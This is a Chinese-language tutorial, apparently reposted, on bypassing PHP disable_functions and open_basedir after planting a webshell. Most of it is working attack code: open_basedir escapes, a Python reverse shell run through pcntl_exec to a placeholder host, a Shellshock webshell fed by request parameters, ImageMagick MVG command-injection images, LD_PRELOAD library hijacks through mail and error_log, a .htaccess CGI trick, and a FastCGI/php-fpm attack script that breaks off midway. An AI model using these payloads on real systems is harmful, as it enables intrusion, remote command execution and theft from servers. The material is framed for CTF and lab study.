您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關php中函數(shù)禁用繞過的原理與用法,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
是否遇到過費勁九牛二虎之力拿了webshell卻發(fā)現(xiàn)連個scandir都執(zhí)行不了?拿了webshell確實是一件很歡樂的事情,但有時候卻僅僅只是一個小階段的結束;本文將會以webshell作為起點從頭到尾來歸納bypass disable function的各種姿勢。
繞過函數(shù)過濾(通過本實驗學會通過寬字節(jié)方式繞過mysql_real_escape_string()、addslashes()這兩個函數(shù)。)
信息收集是不可缺少的一環(huán);通常的,我們在通過前期各種工作成功執(zhí)行代碼 or 發(fā)現(xiàn)了一個phpinfo頁面之后,會從該頁面中搜集一些可用信息以便后續(xù)漏洞的尋找。
我談談我個人的幾個偏向點:
最直觀的就是php版本號(雖然版本號有時候會在響應頭中出現(xiàn)),如我的機器上版本號為:
PHP Version 7.2.9-1
那么找到版本號后就會綜合看看是否有什么"版本專享"漏洞可以利用。
接下來就是搜索一下DOCUMENT_ROOT取得網(wǎng)站當前路徑,雖然常見的都是在/var/www/html,但難免有例外。
這是本文的重點,disable_functions顧名思義函數(shù)禁用,以筆者的kali環(huán)境為例,默認就禁用了如下函數(shù):
如一些ctf題會把disable設置的極其惡心,即使我們在上傳馬兒到網(wǎng)站后會發(fā)現(xiàn)什么也做不了,那么此時的繞過就是本文所要講的內(nèi)容了。
該配置限制了當前php程序所能訪問到的路徑,如筆者設置了:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); phpinfo();
隨后我們能夠看到phpinfo中出現(xiàn)如下:
嘗試scandir會發(fā)現(xiàn)列根目錄失敗。
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); //phpinfo(); var_dump(scandir(".")); var_dump(scandir("/")); //array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) "index.html" [3]=> string(23) "index.nginx-debian.html" [4]=> string(11) "phpinfo.php" } bool(false)
如果使用了opcache,那么可能達成getshell,但需要存在文件上傳的點,直接看鏈接:
https://www.cnblogs.com/xhds/p/13239331.html
如文件包含時判斷協(xié)議是否可用的兩個配置項:
allow_url_include、allow_url_fopen
上傳webshell時判斷是否可用短標簽的配置項:
short_open_tag
還有一些會在下文中講到。
因為有時需要根據(jù)題目判斷采用哪種bypass方式,同時,能夠列目錄對于下一步測試有不小幫助,這里列舉幾種比較常見的bypass方式,均從p神博客摘出,推薦閱讀p神博客原文,這里僅作簡略總結。
https://www.php.net/manual/zh/function.symlink.php
symlink ( string
$target
, string$link
) : boolsymlink()對于已有的
target
建立一個名為link
的符號連接。
簡單來說就是建立軟鏈達成bypass。
代碼實現(xiàn)如下:
<?php symlink("abc/abc/abc/abc","tmplink"); symlink("tmplink/../../../../etc/passwd", "exploit"); unlink("tmplink"); mkdir("tmplink");
首先是創(chuàng)建一個link,將tmplink用相對路徑指向abc/abc/abc/abc,然后再創(chuàng)建一個link,將exploit指向tmplink/../../../../etc/passwd,此時就相當于exploit指向了abc/abc/abc/abc/../../../../etc/passwd,也就相當于exploit指向了./etc/passwd,此時刪除tmplink文件后再創(chuàng)建tmplink目錄,此時就變?yōu)?etc/passwd成功跨目錄。
訪問exploit即可讀取到/etc/passwd。
查找匹配的文件路徑模式,是php自5.3.0版本起開始生效的一個用來篩選目錄的偽協(xié)議
常用bypass方式如下:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
但會發(fā)現(xiàn)比較神奇的是只能列舉根目錄下的文件。
chdir是更改當前工作路徑。
mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/etc/passwd');
利用了ini_set的open_basedir的設計缺陷,可以用如下代碼觀察一下其bypass過程:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); //open_basedir : .. //open_basedir : /
該函數(shù)的第二個參數(shù)為一個文件路徑,先看代碼:
<?php ini_set('open_basedir', '/var/www/html:' .'/tmp'); printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', '/etc/passwd'); var_dump($re); $re = bindtextdomain('xxx', '/etc/passw'); var_dump($re); //open_basedir: /var/www/html:/tmp //string(11) "/etc/passwd" bool(false)
可以看到當文件不存在時返回值為false,因為不支持通配符,該方法只能適用于linux下的暴力猜解文件。
同樣是基于報錯,但realpath在windows下可以使用通配符<
和>
進行列舉,腳本摘自p神博客:
<?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s <br/>", $matches[1]); } } ?>
如命令執(zhí)行事實上是不受open_basedir的影響的。
蟻劍項目倉庫中有一個各種disable的測試環(huán)境可以復現(xiàn),需要環(huán)境的師傅可以選用蟻劍的環(huán)境。
https://github.com/AntSwordProject/AntSword-Labs
這個應該是最簡單的方式,就是尋找替代函數(shù)來執(zhí)行,如system可以采用如反引號來替代執(zhí)行命令。
看幾種常見用于執(zhí)行系統(tǒng)命令的函數(shù):
system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``
當然了這些也常常出現(xiàn)在disable function中,那么可以尋找可以比較容易被忽略的函數(shù),通過函數(shù) or 函數(shù)組合拳來執(zhí)行命令。
反引號:最容易被忽略的點,執(zhí)行命令但回顯需要配合其他函數(shù),可以反彈shell
pcntl_exec:目標機器若存在python,可用php執(zhí)行python反彈shell
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
本質(zhì)是利用bash破殼漏洞(CVE-2014-6271)。
影響范圍在于bash 1.14 – 4.3
關鍵在于:
目前的bash腳本是以通過導出環(huán)境變量的方式支持自定義函數(shù),也可將自定義的bash函數(shù)傳遞給子相關進程。一般函數(shù)體內(nèi)的代碼是不會被執(zhí)行,但此漏洞會錯誤的將“{}”花括號外的命令進行執(zhí)行。
本地驗證方法:
在shell中執(zhí)行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"
執(zhí)行命令后,如果顯示Vulnerable CVE-2014-6271,證系統(tǒng)存在漏洞,可改變echo Vulnerable CVE-2014-6271為任意命令進行執(zhí)行。
詳見:https://www.antiy.com/response/CVE-2014-6271.html
因為是設置環(huán)境變量,而在php中存在著putenv可以設置環(huán)境變量,配合開啟子進程來讓其執(zhí)行命令。
https://www.exploit-db.com/exploits/35146
<?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); error_log('a',1); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
將exp上傳后即可執(zhí)行系統(tǒng)命令bypass disable,就不做過多贅述。
漏洞源于CVE-2016-3714,ImageMagick是一款圖片處理程序,但當用戶傳入一張惡意圖片時,會造成命令注入,其中還有其他如ssrf、文件讀取等,當然最致命的肯定是命令注入。
而在漏洞出來之后各位師傅聯(lián)想到php擴展中也使用了ImageMagick
,當然也就存在著漏洞的可能,并且因為漏洞的原理是直接執(zhí)行系統(tǒng)命令,所以也就不存在是否被disable的可能,因此可以被用于bypass disable。
關于更加詳細的漏洞分析請看p神的文章:CVE-2016-3714 - ImageMagick 命令執(zhí)行分析,我直接摘取原文中比較具有概括性的漏洞說明:
漏洞報告中給出的POC是利用了如下的這個委托:
<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>它在解析https圖片的時候,使用了curl命令將其下載,我們看到%M被直接放在curl的最后一個參數(shù)內(nèi)。ImageMagick默認支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內(nèi)容,而這其中就可以包含https處理過程。
所以我們可以構造一個.mvg格式的圖片(但文件名可以不為.mvg,比如下圖中包含payload的文件的文件名為vul.gif,而ImageMagick會根據(jù)其內(nèi)容識別為mvg圖片),并在https://后面閉合雙引號,寫入自己要執(zhí)行的命令:
push graphic-context viewbox 0 0 640 480 fill 'url(https://"|id; ")' pop graphic-context這樣,ImageMagick在正常執(zhí)行圖片轉(zhuǎn)換、處理的時候就會觸發(fā)漏洞。
漏洞的利用極其簡單,只需要構造一張惡意的圖片,new一個類即可觸發(fā)該漏洞:
<?php new Imagick('test.mvg');
那么依舊以靶場題為例,依舊以擁有一句話馬兒為前提,我們首先上傳一個圖片,如上面所述的我們圖片的后綴無需mvg,因此上傳一個jpg圖片:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`cat /etc/passwd > /var/www/html/success`' pop graphic-context
那么因為我們看不到回顯,所以可以考慮將結果寫入到文件中,或者直接執(zhí)行反彈shell。
然后如上上傳一個poc.php:
<?php new Imagick('vul.jpg');
訪問即可看到我們寫入的文件。
那么這一流程頗為繁瑣(當我們需要多次執(zhí)行命令進行測試時就需要多次調(diào)整圖片內(nèi)容),因此我們可以寫一個php馬來動態(tài)傳入命令:
<?php $command = $_GET['cmd']; if ($command == '') { $command = 'whoami>success'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=`$command`' pop graphic-context EOF; file_put_contents("test.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('test.mvg'); $thumb->writeImage('test.png'); $thumb->clear(); $thumb->destroy(); unlink("test.mvg"); unlink("test.png"); ?>
喜聞樂見的LD_PRELOAD,這是我學習web時遇到的第一個bypass disable的方式,個人覺得很有意思。
LD_PRELOAD是Linux系統(tǒng)的一個環(huán)境變量,它可以影響程序的運行時的鏈接(Runtime linker),它允許你定義在程序運行前優(yōu)先加載的動態(tài)鏈接庫。這個功能主要就是用來有選擇性的載入不同動態(tài)鏈接庫中的相同函數(shù)。通過這個環(huán)境變量,我們可以在主程序和其動態(tài)鏈接庫的中間加載別的動態(tài)鏈接庫,甚至覆蓋正常的函數(shù)庫。一方面,我們可以以此功能來使用自己的或是更好的函數(shù)(無需別人的源碼),而另一方面,我們也可以以向別人的程序注入程序,從而達到特定的目的。
而我們bypass的關鍵就是利用LD_PRELOAD加載庫優(yōu)先的特點來讓我們自己編寫的動態(tài)鏈接庫優(yōu)先于正常的函數(shù)庫,以此達成執(zhí)行system命令。
因為id命令比較易于觀察,網(wǎng)上文章也大同小異采用了id命令下的getuid/getgid來做測試,為做個試驗筆者換成了
我們先看看id命令的調(diào)用函數(shù):
strace -f /usr/bin/id
Resulut:
close(3) = 0 geteuid32() = 0 getuid32() = 0 getegid32() = 0 getgid32() = 0 (省略....) getgroups32(0, NULL) = 1 getgroups32(1, [0]) = 1
這里可以看到有不少函數(shù)可以編寫,我選擇getgroups32,我們可以用man命令查看一下函數(shù)的定義:
man getgroups32
看到這一部分:
得到了函數(shù)的定義,我們只需要編寫其內(nèi)的getgroups即可,因此我編寫一個hack.c:
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int getgroups(int size, gid_t list[]){ unsetenv("LD_PRELOAD"); system("echo 'i hack it'"); return 1; }
然后使用gcc編譯成一個動態(tài)鏈接庫:
gcc -shared -fPIC hack.c -o hack.so
使用LD_PRELOAD加載并執(zhí)行id命令,我們會得到如下的結果:
再來更改一下uid測試,我們先adduser一個新用戶hhhm,執(zhí)行id命令結果如下:
然后根據(jù)上面的步驟取得getuid32的函數(shù)定義,據(jù)此來編寫一個hack.c:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }
gcc編譯后,執(zhí)行,結果如下:
可以看到我們的uid成功變?yōu)?,且更改為root了,當然了因為我們的hack.so是root權限編譯出來的,在一定條件下也許可以用此種方式來提權,網(wǎng)上也有相關文章,不過我沒實際嘗試過就不做過分肯定的說法。
下面看看在php中如何配合利用達成bypass disable。
php中主要是需要配合putenv函數(shù),如果該函數(shù)被ban了那么也就沒他什么事了,所以bypass前需要觀察disable是否ban掉putenv。
php中的利用根據(jù)大師傅們的文章我主要提取出下面幾種利用方式,其實質(zhì)都是大同小異,需要找出一個函數(shù)然后采用相同的機制覆蓋掉其函數(shù)進而執(zhí)行系統(tǒng)命令。
那么我們受限于disable,system等執(zhí)行系統(tǒng)命令的函數(shù)無法使用,而若想要讓php調(diào)用外部程序來進一步達成執(zhí)行系統(tǒng)命令從而達成bypass就只能依賴與php解釋器本身。
因此有一個大前提就是需要從php解釋器中啟動子進程。
先選取一臺具有sendmail的機器,筆者是使用kali,先在php中寫入如下代碼
<?php mail("","","","");
同樣的可以使用strace來追蹤函數(shù)的執(zhí)行過程。
strace -f php phpinfo.php 2>&1 | grep execve
可以看到這里調(diào)用了sendmail,與網(wǎng)上的文章同樣的我們可以追蹤sendmail來查看其調(diào)用過程,或者使用readelf可以查看其使用函數(shù):
strace sendmail
那么以上面的方式編寫并編譯一個動態(tài)鏈接庫然后利用LD_PRELOAD去執(zhí)行我們的命令,這就是老套路的利用。
因為沒有回顯,為方便查看效果我寫了一個ls>test,因此hack.c如下:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { system("ls>test"); return 0; } uid_t getuid( void ) { return 1; } uid_t getgid( void ) { return 0; }
同樣的gcc編譯后,頁面寫入如下:
<?php putenv("LD_PRELOAD=./hack.so"); mail("","","",""); ?>
訪問頁面得到運行效果如下:
再提一個我在利用過程中走錯的點,這里為測試,我換用一臺沒有sendmail的ubuntu:
但如果我們按照上面的步驟直接追蹤index的執(zhí)行而不過濾選取execve會發(fā)現(xiàn)同樣存在著geteuid,并且但這事實上是sh調(diào)用的而非mail調(diào)用的,因此如果我們使用php index.php來調(diào)用會發(fā)現(xiàn)system執(zhí)行成功,但如果我們通過頁面來訪問則會發(fā)現(xiàn)執(zhí)行失敗,這是一個在利用過程中需要注意的點,這也就是為什么我們會使用管道符來選取execve。
第一個execve為php解釋器啟動的進程,而后者即為我們所需要的sendmail子進程。
同樣的除了mail會調(diào)用sendmail之外,還有error_log也會調(diào)用,如圖:
ps:當error_log的type為1時就會調(diào)用到sendmail。
因此上面針對于mail函數(shù)的套路對于error_log同樣適用,however,我們會發(fā)現(xiàn)此類劫持都只是針對某一個函數(shù),而前面所做的都是依賴與sendmail,而像目標機器如果不存在sendmail,那么前面的做法就完全無用。
yangyangwithgnu師傅在其文無需sendmail:巧用LD_PRELOAD突破disable_functions提到了我們不要局限于僅劫持某一函數(shù),而應考慮劫持共享對象。
文中使用到了如下代碼編寫的庫:
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h> __attribute__ ((__constructor__)) void anything (void){ unsetenv("LD_PRELOAD"); system("ls>test"); }
那么關于__attribute__ ((__constructor__))
個人理解是其會在共享庫加載時運行,也就是程序啟動時運行,那么這一步的利用同樣需要有前面說到的啟動子進程這一個大前提,也就是需要有類似于mail、Imagick可以令php解釋器啟動新進程的函數(shù)。
同樣的將LD_PRELOAD指定為gcc編譯的共享庫,然后訪問頁面查看,會發(fā)現(xiàn)成功將ls寫到test下(如果失敗請檢查寫權限問題)
0ctf 2019中Wallbreaker Easy中的出題點就是采用了imagick在處理一些特定后綴文件時,會調(diào)用ffmpeg,也就是會開啟子進程,從而達成加載共享庫執(zhí)行系統(tǒng)命令bypass disable。
前面的兩種利用都需要putenv,如果putenv被ban了那么就需要這種方式,簡單介紹一下原理。
利用htaccess覆蓋apache配置,增加cgi程序達成執(zhí)行系統(tǒng)命令,事實上同上傳htaccess解析png文件為php程序的利用方式大同小異。
mod cgi:
任何具有MIME類型
application/x-httpd-cgi
或者被cgi-script
處理器處理的文件都將被作為CGI腳本對待并由服務器運行,它的輸出將被返回給客戶端??梢酝ㄟ^兩種途徑使文件成為CGI腳本,一種是文件具有已由AddType
指令定義的擴展名,另一種是文件位于ScriptAlias
目錄中。
因此我們只需上傳一個.htaccess:
Options +ExecCGI //使運行cgi程序的執(zhí)行 AddHandler cgi-script .test //將test后綴的文件解析為cgi程序
利用就很簡單了:
上傳htaccess,內(nèi)容為上文所給出的內(nèi)容
上傳a.test,內(nèi)容為:
#!/bin/bash echo&&ls
給a.test權限,訪問即可得到執(zhí)行結果。
php-fpm相信有讀者在配置php環(huán)境時會遇到,如使用nginx+php時會在配置文件中配置如下:
location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }
那么看看百度百科中關于php-fpm的介紹:
PHP-FPM(FastCGI Process Manager:FastCGI進程管理器)是一個PHPFastCGI管理器,對于PHP 5.3.3之前的php來說,是一個補丁包 [1] ,旨在將FastCGI進程管理整合進PHP包中。如果你使用的是PHP5.3.3之前的PHP的話,就必須將它patch到你的PHP源代碼中,在編譯安裝PHP后才可以使用。
那么fastcgi又是什么?Fastcgi 是一種通訊協(xié)議,用于Web服務器與后端語言的數(shù)據(jù)交換。
那么我們在配置了php-fpm后如訪問http://127.0.0.1/test.php?test=1,那么會被解析為如下鍵值對:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/test.php', 'SCRIPT_NAME': '/test.php', 'QUERY_STRING': '?test=1', 'REQUEST_URI': '/test.php?test=1', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12304', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
這個數(shù)組很眼熟,會發(fā)現(xiàn)其實就是$_SERVER
里面的一部分,那么php-fpm拿到這一個數(shù)組后會去找到SCRIPT_FILENAME的值,對于這里的/var/www/html/test.php,然后去執(zhí)行它。
前面筆者留了一個配置,在配置中可以看到fastcgi的端口是9000,監(jiān)聽地址是127.0.0.1,那么如果地址為0.0.0.0,也即是將其暴露到公網(wǎng)中,倘若我們偽造與fastcgi通信,這樣就會導致遠程代碼執(zhí)行。
那么事實上php-fpm通信方式有tcp也就是9000端口的那個,以及socket的通信,因此也存在著兩種攻擊方式。
socket方式的話配置文件會有如下:
fastcgi_pass unix:/var/run/phpfpm.sock;
那么我們可以稍微了解一下fastcgi的協(xié)議組成,其由多個record組成,這里摘抄一下p神原文中的一段結構體:
typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的類型 unsigned char requestIdB1; // 本次record對應的請求id unsigned char requestIdB0; unsigned char contentLengthB1; // body體的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 額外塊大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
可以看到record分為header以及body,其中header固定為8字節(jié),而body由其contentLength決定,而paddingData為保留段,不需要時長度置為0。
而type的值從1-7有各種作用,當其type=4時,后端就會將其body解析成key-value,看到key-value可能會很眼熟,沒錯,就是我們前面看到的那一個鍵值對數(shù)組,也就是環(huán)境變量。
那么在學習漏洞利用之前,我們有必要了解兩個環(huán)境變量,
PHP_VALUE:可以設置模式為PHP_INI_USER
和PHP_INI_ALL
的選項
PHP_ADMIN_VALUE:可以設置所有選項(除了disable_function)
那么以p神文中的利用方式我們需要滿足三個條件:
找到一個已知的php文件
利用上述兩個環(huán)境變量將auto_prepend_file設置為php://input
開啟php://input需要滿足的條件:allow_url_include為on
此時熟悉文件包含漏洞的童鞋就一目了然了,我們可以執(zhí)行任意代碼了。
這里利用的情況為:
'PHP_VALUE': 'auto_prepend_file = php://input' 'PHP_ADMIN_VALUE': 'allow_url_include = On'
我們先直接看phpinfo如何標識我們可否利用該漏洞進行攻擊。
那么先以攻擊tcp為例,倘若我們偽造nginx發(fā)送數(shù)據(jù)(fastcgi封裝的數(shù)據(jù))給php-fpm,這樣就會造成任意代碼執(zhí)行漏洞。
p神已經(jīng)寫好了一個exp,因為開放fastcgi為0.0.0.0的情況事實上同攻擊內(nèi)網(wǎng)相似,所以這里可以嘗試一下攻擊127.0.0.1也就是攻擊內(nèi)網(wǎng)的情況,那么事實上我們可以配合gopher協(xié)議來攻擊內(nèi)網(wǎng)的fpm,因為與本文主題不符就不多講。
python a.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'
可以看到結果如圖所示:
攻擊成功后我們?nèi)ゲ榭匆幌聀hpinfo會看到如下:
也就是說我們構造的攻擊包為:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/phpinfo.php', 'SCRIPT_NAME': '/phpinfo.php', 'QUERY_STRING': '', 'REQUEST_URI': '/phpinfo.php', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12304', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
很明顯的前面所說的都是成立的;然而事實上我這里是沒有加入disable的情況,我們往里面加入disable再嘗試。
pkill php-fpm /usr/sbin/php-fpm7.0 -c /etc/php/7.0/fpm/php.ini
注意修改了ini文件后重啟fpm需要指定ini。
我往disable里壓了一個system:
pcntl_alarm,system,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
然后再執(zhí)行一下exp,可以發(fā)現(xiàn)被disable了:
因此此種方法還無法達成bypass disable的作用,那么不要忘了我們的兩個php_value能夠修改的可不僅僅只是auto_prepend_file,并且的我們還可以修改basedir來繞過;在先前的繞過姿勢中我們是利用到了so文件執(zhí)行擴展庫來bypass,那么這里同樣可以修改extension為我們編寫的so庫來執(zhí)行系統(tǒng)命令,具體利用有師傅已經(jīng)寫了利用腳本,事實上蟻劍中的插件已經(jīng)能實現(xiàn)了該bypass的功能了,那么下面我直接對蟻劍中插件如何實現(xiàn)bypass做一個簡要分析。
在執(zhí)行蟻劍的插件時會發(fā)現(xiàn)其在當前目錄生成了一個.antproxy.php文件,那么我們后續(xù)的bypass都是通過該文件來執(zhí)行,那么先看一下這個shell的代碼:
<?php function get_client_header(){ $headers=array(); foreach($_SERVER as $k=>$v){ if(strpos($k,'HTTP_')===0){ $k=strtolower(preg_replace('/^HTTP/', '', $k)); $k=preg_replace_callback('/_\w/','header_callback',$k); $k=preg_replace('/^_/','',$k); $k=str_replace('_','-',$k); if($k=='Host') continue; $headers[]="$k:$v"; } } return $headers; } function header_callback($str){ return strtoupper($str[0]); } function parseHeader($sResponse){ list($headerstr,$sResponse)=explode(" ",$sResponse, 2); $ret=array($headerstr,$sResponse); if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){ $ret=parseHeader($sResponse); } return $ret; } set_time_limit(120); $headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout); if(!$fp){ return false; } $method = "GET"; $post_data = ""; if($_SERVER['REQUEST_METHOD']=='POST') { $method = "POST"; $post_data = file_get_contents('php://input'); } $out = $method." ".$url." HTTP/1.1\r\n"; $out .= "Host: ".$host.":".$port."\r\n"; if (!empty($_SERVER['CONTENT_TYPE'])) { $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n"; } $out .= "Content-length:".strlen($post_data)."\r\n"; $out .= implode("\r\n",$headers); $out .= "\r\n\r\n"; $out .= "".$post_data; fputs($fp, $out); $response = ''; while($row=fread($fp, 4096)){ $response .= $row; } fclose($fp); $pos = strpos($response, "\r\n\r\n"); $response = substr($response, $pos+4); echo $response;
定位到關鍵代碼:
$headers=get_client_header(); $host = "127.0.0.1"; $port = 60882; $errno = ''; $errstr = ''; $timeout = 30; $url = "/index.php"; if (!empty($_SERVER['QUERY_STRING'])){ $url .= "?".$_SERVER['QUERY_STRING']; }; $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
可以看到它這里向60882端口進行通信,事實上這里蟻劍使用/bin/sh -c php -n -S 127.0.0.1:60882 -t /var/www/html
開啟了一個新的php服務,并且不使用php.ini,因此也就不存在disable了,那么我們在觀察其執(zhí)行過程會發(fā)現(xiàn)其還在tmp目錄下上傳了一個so文件,那么至此我們有理由推斷出其通過攻擊php-fpm修改其extension為在tmp目錄下上傳的擴展庫,事實上從該插件的源碼中也可以得知確實如此:
那么啟動了該php server后我們的流量就通過antproxy.php轉(zhuǎn)發(fā)到無disabel的php server上,此時就成功達成bypass。
前面雖然解釋了其原理,但畢竟理論與實踐有所區(qū)別,因此我們可以自己打一下extension進行測試。
so文件可以從項目中獲取,根據(jù)其提示編譯即可獲取ant.so的庫,修改php-fpm的php.ini,加入:
extension=/var/www/html/ant.so
然后重啟php-fpm,如果使用如下:
<?php antsystem("ls");
成功執(zhí)行命令時即說明擴展成功加載,那么我們再把ini恢復為先前的樣子,我們嘗試直接攻擊php-fpm來修改其配置項。
以腳本來攻擊:
import requests sess = requests.session() def execute_php_code(s): res = sess.post('http://192.168.242.5/index.php', data={"a": s}) return res.text code = ''' class AA { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { $this->_sock = fsockopen($this->_host); var_dump($this->_sock); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI 